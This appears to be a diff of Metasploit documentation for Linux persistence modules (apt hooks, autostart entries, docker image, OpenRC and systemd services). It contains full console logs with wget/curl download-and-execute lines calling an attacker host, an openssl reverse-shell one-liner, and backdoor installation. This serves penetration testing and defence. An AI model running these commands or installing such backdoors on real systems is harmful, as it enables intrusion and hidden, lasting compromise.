resource (/root/.msf4/msfconsole.rc)> set srvport 8181
|
||||
srvport => 8181
|
||||
resource (/root/.msf4/msfconsole.rc)> set target 7
|
||||
target => 7
|
||||
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set lport 4545
|
||||
lport => 4545
|
||||
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
|
||||
URIPATH => l
|
||||
resource (/root/.msf4/msfconsole.rc)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Starting persistent handler(s)...
|
||||
[*] Started reverse TCP handler on 111.111.1.111:4545
|
||||
[*] Using URL: http://111.111.1.111:8181/l
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO Z73D1DUW --no-check-certificate http://111.111.1.111:8181/l; chmod +x Z73D1DUW; ./Z73D1DUW& disown
|
||||
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
|
||||
[*] 222.222.2.22 web_delivery - Delivering Payload (250 bytes)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 222.222.2.22
|
||||
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.22:51076) at 2025-02-04 17:40:52 -0500
|
||||
sessions -l
|
||||
Active sessions
|
||||
===============
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 meterpreter x64/linux root @ 222.222.2.22 111.111.1.111:4545 -> 222.222.2.22:51076 (222.222.2.22)
|
||||
```
|
||||
|
||||
Persistence
|
||||
|
||||
```
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/apt_package_manager
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/persistence/apt_package_manager) > set session 1
|
||||
session => 1
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/persistence/apt_package_manager) > check
|
||||
[*] The target appears to be vulnerable. /etc/apt/apt.conf.d/ and /tmp/ are writable, also found apt-get.
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/persistence/apt_package_manager) > exploit
|
||||
[*] Command to run on remote host: curl -so ./xTOLdQoOTv http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./xTOLdQoOTv;./xTOLdQoOTv&
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[msf](Jobs:2 Agents:1) exploit(linux/persistence/apt_package_manager) >
|
||||
[*] Fetch handler listening on 111.111.1.111:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
|
||||
[*] Started reverse TCP handler on 111.111.1.111:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. /etc/apt/apt.conf.d/ and /tmp/ are writable, also found apt-get.
|
||||
[*] Attempting to write hook:
|
||||
[*] Wrote /etc/apt/apt.conf.d/76skoGqswo
|
||||
[*] Backdoor uploaded /tmp/erNOJV96u
|
||||
[+] Backdoor will run on next APT update
|
||||
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc
|
||||
[msf](Jobs:2 Agents:1) exploit(linux/persistence/apt_package_manager) > jobs
|
||||
Jobs
|
||||
====
|
||||
Id Name Payload Payload opts
|
||||
-- ---- ------- ------------
|
||||
0 Exploit: multi/script/web_delivery linux/x64/meterpreter/reverse_tcp tcp://111.111.1.111:4545
|
||||
1 Exploit: linux/persistence/apt_package_manager cmd/linux/http/x64/meterpreter/reverse_tcp tcp://111.111.1.111:4444
|
||||
[msf](Jobs:2 Agents:1) exploit(linux/persistence/apt_package_manager) >
|
||||
```
|
||||
|
||||
Run `sudo apt-get update` on the target.
|
||||
|
||||
```
|
||||
[*] Client 222.222.2.22 requested /Hg3DGEu9GqlWD06kh4AzFg
|
||||
[*] Sending payload to 222.222.2.22 (curl/7.81.0)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 222.222.2.22
|
||||
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.22:49804) at 2025-02-04 17:43:06 -0500
|
||||
[msf](Jobs:2 Agents:2) exploit(linux/persistence/apt_package_manager) > sessions -i 2
|
||||
[*] Starting interaction with 2...
|
||||
(Meterpreter 2)(/tmp) > sysinfo
|
||||
Computer : 222.222.2.22
|
||||
OS : Ubuntu 22.04 (Linux 5.15.0-48-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
(Meterpreter 2)(/tmp) >
|
||||
```
|
||||
|
||||
#### Cleanup
|
||||
|
||||
```
|
||||
(Meterpreter 2)(/tmp) > resource /root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc
|
||||
[*] Processing /root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc for ERB directives.
|
||||
resource (/root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc)> rm /etc/apt/apt.conf.d/76skoGqswo
|
||||
resource (/root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc)> rm /tmp/erNOJV96u
|
||||
```
|
||||
@@ -0,0 +1,118 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will create an autostart `.desktop` entry to execute a payload.
|
||||
The payload will be executed when the users logs in.
|
||||
|
||||
Verified on Ubuntu 22.04 desktop with Gnome, and 18.04.3.
|
||||
The following payloads were used in testing:
|
||||
- `cmd/unix/reverse_netcat`
|
||||
- `linux/x64/meterpreter/reverse_tcp`
|
||||
- `cmd/linux/http/x64/meterpreter/reverse_tcp`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Exploit a box
|
||||
2. `use exploit/linux/persistence/autostart`
|
||||
3. `set SESSION <id>`
|
||||
4. `exploit`
|
||||
|
||||
When the victim logs in, your payload will be executed!
|
||||
|
||||
## Options
|
||||
|
||||
### BACKDOOR_NAME
|
||||
|
||||
Name of autostart entry. Defaults to a randomly generated name
|
||||
|
||||
### PAYLOAD_NAME
|
||||
|
||||
Name of the payload file to write. Defaults to a randomly generated name
|
||||
|
||||
### USER
|
||||
|
||||
User to target, or current user if blank
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 18.04.3
|
||||
|
||||
Initial access vector via web delivery
|
||||
|
||||
```
|
||||
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
|
||||
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
|
||||
lhost => 111.111.1.111
|
||||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
|
||||
srvport => 8181
|
||||
resource (/root/.msf4/msfconsole.rc)> set target 7
|
||||
target => 7
|
||||
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set lport 4545
|
||||
lport => 4545
|
||||
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
|
||||
URIPATH => l
|
||||
resource (/root/.msf4/msfconsole.rc)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Starting persistent handler(s)...
|
||||
[*] Started reverse TCP handler on 111.111.1.111:4545
|
||||
[*] Using URL: http://111.111.1.111:8181/l
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO FWdHRs3A --no-check-certificate http://111.111.1.111:8181/l; chmod +x FWdHRs3A; ./FWdHRs3A& disown
|
||||
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] 222.222.2.222 web_delivery - Delivering Payload (250 bytes)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 222.222.2.222
|
||||
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:57884) at 2025-02-06 17:03:03 -0500
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
(Meterpreter 1)(/tmp) > sysinfo
|
||||
Computer : ubuntu18desktop.local
|
||||
OS : Ubuntu 18.04 (Linux 5.4.0-150-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
(Meterpreter 1)(/tmp) > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
Persistence
|
||||
|
||||
```
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/autostart
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/persistence/autostart) > set session 1
|
||||
session => 1
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/persistence/autostart) > exploit
|
||||
[*] Command to run on remote host: curl -so ./xcsqfBQnCfcm http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./xcsqfBQnCfcm;./xcsqfBQnCfcm&
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[msf](Jobs:2 Agents:1) exploit(linux/persistence/autostart) >
|
||||
[*] Fetch handler listening on 111.111.1.111:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
|
||||
[*] Started reverse TCP handler on 111.111.1.111:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Xorg is installed, possible desktop install.
|
||||
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
|
||||
[*] Making sure the autostart directory exists
|
||||
[*] Uploading autostart file /home/ubuntu/.config/autostart/bHOXeW.desktop
|
||||
[+] Backdoor will run on next login by ubuntu
|
||||
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250206.0326/ubuntu18desktop.local_20250206.0326.rc
|
||||
[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg
|
||||
```
|
||||
|
||||
Login via gui
|
||||
|
||||
```
|
||||
[*] Sending payload to 222.222.2.222 (curl/7.58.0)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 222.222.2.222
|
||||
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:44316) at 2025-02-06 17:03:50 -0500
|
||||
[msf](Jobs:2 Agents:2) exploit(linux/persistence/autostart) >
|
||||
```
|
||||
@@ -0,0 +1,168 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module maintains persistence on a host by creating a docker image which runs our
|
||||
payload, and has access to the host's file system (/host in the container). Whenever the
|
||||
container restarts, the payload will run, or when the payload dies the executable
|
||||
will run again after a delay. This will allow for writing back
|
||||
into the host through cron entries, ssh keys, or other method.
|
||||
|
||||
Verified on Ubuntu 22.04.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get a Meterpreter session
|
||||
3. `use exploit/linux/persistence/docker_image`
|
||||
4. `set SESSION [SESSION]`
|
||||
5. `run`
|
||||
6. You should get a new session from within the docker image with `/host` mounted from `/` on the host.
|
||||
|
||||
## Options
|
||||
|
||||
### SLEEP
|
||||
|
||||
How many seconds the docker image should wait before checking if the session has died and trying to re-establish it.
|
||||
Default is `600`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 22.04
|
||||
|
||||
Get a meterpreter session
|
||||
|
||||
```
|
||||
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
|
||||
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set target 7
|
||||
target => 7
|
||||
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
|
||||
srvport => 8082
|
||||
resource (/root/.msf4/msfconsole.rc)> set uripath l
|
||||
uripath => l
|
||||
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set lport 4446
|
||||
lport => 4446
|
||||
resource (/root/.msf4/msfconsole.rc)> run
|
||||
[*] Starting persistent handler(s)...
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4446
|
||||
[*] Using URL: http://1.1.1.1:8082/l
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO bLEZJjLj --no-check-certificate http://1.1.1.1:8082/l; chmod +x bLEZJjLj; ./bLEZJjLj& disown
|
||||
msf exploit(multi/script/web_delivery) >
|
||||
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3090404 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 2.2.2.2:49368) at 2025-09-10 09:06:24 -0400
|
||||
```
|
||||
|
||||
Install Persistence
|
||||
|
||||
```
|
||||
msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/docker_image
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf exploit(linux/persistence/docker_image) > set session 1
|
||||
session => 1
|
||||
msf exploit(linux/persistence/docker_image) > check
|
||||
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
|
||||
[*] Checking Docker availability and permissions...
|
||||
[*] The service is running, but could not be validated. docker app is installed and accessible
|
||||
msf exploit(linux/persistence/docker_image) > set payload linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
msf exploit(linux/persistence/docker_image) > run
|
||||
[*] Exploit running as background job 2.
|
||||
[*] Exploit completed, but no session was created.
|
||||
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
msf exploit(linux/persistence/docker_image) > [*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
|
||||
[*] Checking Docker availability and permissions...
|
||||
[!] The service is running, but could not be validated. docker app is installed and accessible
|
||||
[*] Writing backdoor to /tmp//DoEVqOGSMX
|
||||
[*] Writing '/tmp//DoEVqOGSMX' (250 bytes) ...
|
||||
[*] Temporary container created: 3e7ce0d939e06035a34a9c00a83529631838c278de745edf8ef906ca4b04127b
|
||||
[+] Persistent image created: alpine_fslaxxlv
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3090404 bytes) to 2.2.2.2
|
||||
[+] Container started with internal entrypoint: 0793ddcdab86a68dfa27ce265411550d9bce5c29b183890e4984d01137e741c6
|
||||
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:47480) at 2025-09-10 09:11:32 -0400
|
||||
[*] Stopping and removing temp container
|
||||
[*] Payload installed and running with 600-second loop in container
|
||||
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/2.2.2.2_20250910.1144/2.2.2.2_20250910.1144.rc
|
||||
```
|
||||
|
||||
Show the running docker container
|
||||
|
||||
```
|
||||
msf exploit(linux/persistence/docker_image) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > shell
|
||||
Process 16004 created.
|
||||
Channel 21 created.
|
||||
docker ps
|
||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
0793ddcdab86 alpine_fslaxxlv "/entrypoint.sh" 50 seconds ago Up 49 seconds great_cannon
|
||||
|
||||
exit
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
Kill meterpreter to show it restart automatically
|
||||
|
||||
```
|
||||
msf exploit(linux/persistence/docker_image) > sessions -i 2
|
||||
[*] Starting interaction with 2...
|
||||
|
||||
meterpreter > exit
|
||||
[*] Shutting down session: 2
|
||||
|
||||
[*] 2.2.2.2 - Meterpreter session 2 closed. Reason: Died
|
||||
msf exploit(linux/persistence/docker_image) >
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3090404 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 3 opened (1.1.1.1:4444 -> 2.2.2.2:56490) at 2025-09-10 09:21:32 -0400
|
||||
```
|
||||
|
||||
Show access to the host's OS.
|
||||
|
||||
```
|
||||
msf exploit(linux/persistence/docker_image) > sessions -i 3
|
||||
[*] Starting interaction with 3...
|
||||
|
||||
meterpreter > cat /etc/os-release
|
||||
NAME="Alpine Linux"
|
||||
ID=alpine
|
||||
VERSION_ID=3.22.1
|
||||
PRETTY_NAME="Alpine Linux v3.22"
|
||||
HOME_URL="https://alpinelinux.org/"
|
||||
BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"
|
||||
meterpreter > cat /host/etc/os-release
|
||||
PRETTY_NAME="Ubuntu 22.04.1 LTS"
|
||||
NAME="Ubuntu"
|
||||
VERSION_ID="22.04"
|
||||
VERSION="22.04.1 LTS (Jammy Jellyfish)"
|
||||
VERSION_CODENAME=jammy
|
||||
ID=ubuntu
|
||||
ID_LIKE=debian
|
||||
HOME_URL="https://www.ubuntu.com/"
|
||||
SUPPORT_URL="https://help.ubuntu.com/"
|
||||
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
|
||||
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
|
||||
UBUNTU_CODENAME=jammy
|
||||
meterpreter > shell
|
||||
Process 19 created.
|
||||
Channel 3 created.
|
||||
touch /host/root/pwnd
|
||||
ls -lah /host/root/pwnd
|
||||
-rw-r--r-- 1 root root 0 Sep 10 17:02 /host/root/pwnd
|
||||
```
|
||||
@@ -0,0 +1,117 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will create a service on the box via OpenRC, and mark it for auto-restart.
|
||||
We need enough access to write service files and potentially restart services.
|
||||
|
||||
Verified against alpine 3.21.2
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Exploit a box and get a **root** session
|
||||
2. `use exploit/linux/persistence/init_openrc `
|
||||
3. `set SESSION <session>`
|
||||
4. `set PAYLOAD <payload>`
|
||||
5. `set LHOST <lhost>`
|
||||
6. `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
### WritableDir
|
||||
Remote writable directory to store the payload. Avoid using `/tmp` as it will be deleted upon reboot.
|
||||
|
||||
### SERVICE
|
||||
|
||||
The name of the service to create. If not chosen, a random one is created.
|
||||
|
||||
### PAYLOAD_NAME
|
||||
|
||||
The name of the file to write with our shell if a non-cmd payload is used. If not chosen, a random one is created.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Alpine Linux 3.21.2
|
||||
|
||||
Of note, the default install of Alpine doesn't have `curl`, or `bash`. The `OpenSSL` payload was confirmed working though
|
||||
|
||||
Initial access vector via web delivery
|
||||
|
||||
```
|
||||
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
|
||||
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
|
||||
lhost => 111.111.1.111
|
||||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
|
||||
srvport => 8181
|
||||
resource (/root/.msf4/msfconsole.rc)> set target 7
|
||||
target => 7
|
||||
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set lport 4545
|
||||
lport => 4545
|
||||
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
|
||||
URIPATH => l
|
||||
resource (/root/.msf4/msfconsole.rc)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Starting persistent handler(s)...
|
||||
[*] Started reverse TCP handler on 111.111.1.111:4545
|
||||
[*] Using URL: http://111.111.1.111:8181/l
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO xK7yCqmS --no-check-certificate http://111.111.1.111:8181/l; chmod +x xK7yCqmS; ./xK7yCqmS& disown
|
||||
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 222.222.2.222
|
||||
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:33954) at 2025-02-09 09:31:16 -0500
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
(Meterpreter 1)(/root) > getuid
|
||||
Server username: root
|
||||
(Meterpreter 1)(/root) > sysinfo
|
||||
Computer : alpine3.21.2
|
||||
OS : (Linux 6.12.12-0-virt)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
(Meterpreter 1)(/root) > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
Persistence
|
||||
|
||||
```
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_openrc
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_openrc) > set session 1
|
||||
session => 1
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_openrc) > set payload payload/cmd/unix/reverse_openssl
|
||||
payload => cmd/unix/reverse_openssl
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_openrc) > exploit
|
||||
[+] sh -c '(sleep 4296|openssl s_client -quiet -connect 111.111.1.111:4444|while : ; do sh && break; done 2>&1|openssl s_client -quiet -connect 111.111.1.111:4444 >/dev/null 2>&1 &)'
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[msf](Jobs:2 Agents:1) exploit(linux/persistence/init_openrc) >
|
||||
[*] Started reverse double SSL handler on 111.111.1.111:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. /tmp/ is writable and openrc based
|
||||
[*] Writing backdoor to /tmp//rljkrbglMY
|
||||
[*] Writing service: /etc/init.d/GpdAgZVBGWq
|
||||
[*] Writing '/etc/init.d/GpdAgZVBGWq' (141 bytes) ...
|
||||
[*] Enabling service
|
||||
[+] Starting service
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/alpine3.21.2_20250209.3159/alpine3.21.2_20250209.3159.rc
|
||||
[*] Command: echo duVbKHsRwQ5D05J7;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket B
|
||||
[*] B: "duVbKHsRwQ5D05J7\n"
|
||||
[*] Matching...
|
||||
[*] A is input...
|
||||
[*] Command shell session 2 opened (111.111.1.111:4444 -> 222.222.2.222:43560) at 2025-02-09 09:32:07 -0500
|
||||
```
|
||||
@@ -0,0 +1,208 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will create a service on the box, and mark it for auto-restart.
|
||||
We need enough access to write service files and potentially restart services
|
||||
systemd should be available on the following systems:
|
||||
|
||||
Targets:
|
||||
|
||||
* CentOS 7
|
||||
* Debian >= 7, <=8
|
||||
* Fedora >= 15
|
||||
* Ubuntu >= 15.04
|
||||
|
||||
Verified on Ubuntu 18.04.3
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Exploit a box
|
||||
2. `use exploit/linux/persistence/init_systemd`
|
||||
3. `set SESSION <session>`
|
||||
4. `set PAYLOAD <payload>`
|
||||
5. `set LHOST <lhost>`
|
||||
6. `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
### SERVICE
|
||||
|
||||
The name of the service to create. If not chosen, a random one is created.
|
||||
|
||||
### PAYLOAD_NAME
|
||||
|
||||
The name of the file to write with our shell if a non-cmd payload is used. If not chosen, a random one is created.
|
||||
|
||||
### Target: systemd
|
||||
|
||||
Requires `root` permission, or equivalent. Installs the service into `/lib/systemd/system/#{service_filename}.service`
|
||||
|
||||
### Target: systemd user
|
||||
|
||||
Requires user level permission. Installs the service into `#{home}/.config/systemd/user/#{service_filename}.service`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 18.04
|
||||
|
||||
#### user
|
||||
|
||||
Initial access vector via web delivery
|
||||
|
||||
```
|
||||
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
|
||||
lhost => 111.111.1.111
|
||||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
|
||||
srvport => 8181
|
||||
resource (/root/.msf4/msfconsole.rc)> set target 7
|
||||
target => 7
|
||||
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set lport 4545
|
||||
lport => 4545
|
||||
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
|
||||
URIPATH => l
|
||||
resource (/root/.msf4/msfconsole.rc)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Starting persistent handler(s)...
|
||||
[*] Started reverse TCP handler on 111.111.1.111:4545
|
||||
[*] Using URL: http://111.111.1.111:8181/l
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO A0IMfkxw --no-check-certificate http://111.111.1.111:8181/l; chmod +x A0IMfkxw; ./A0IMfkxw& disown
|
||||
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
|
||||
[*] 222.222.2.222 web_delivery - Delivering Payload (250 bytes)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 222.222.2.222
|
||||
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:35670) at 2025-02-12 16:51:31 -0500
|
||||
```
|
||||
|
||||
Persistence
|
||||
|
||||
```
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_systemd
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > set session 1
|
||||
session => 1
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > set target 1
|
||||
target => 1
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > exploit
|
||||
[*] Command to run on remote host: curl -so ./AfUflryvMrcV http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./AfUflryvMrcV;./AfUflryvMrcV&
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[msf](Jobs:2 Agents:1) exploit(linux/persistence/init_systemd) >
|
||||
[*] Fetch handler listening on 111.111.1.111:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
|
||||
[*] Started reverse TCP handler on 111.111.1.111:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
|
||||
[+] The target appears to be vulnerable. /tmp/ is writable and system is systemd based
|
||||
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
|
||||
[*] Writing backdoor to /tmp//wiyCnjJRK
|
||||
[*] Creating user service directory
|
||||
[*] Writing service: /home/ubuntu/.config/systemd/user/hakiMwGMnXA.service
|
||||
[*] Reloading manager configuration
|
||||
[*] Enabling service
|
||||
[*] Starting service: hakiMwGMnXA
|
||||
[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg
|
||||
[*] Sending payload to 222.222.2.222 (curl/7.58.0)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 222.222.2.222
|
||||
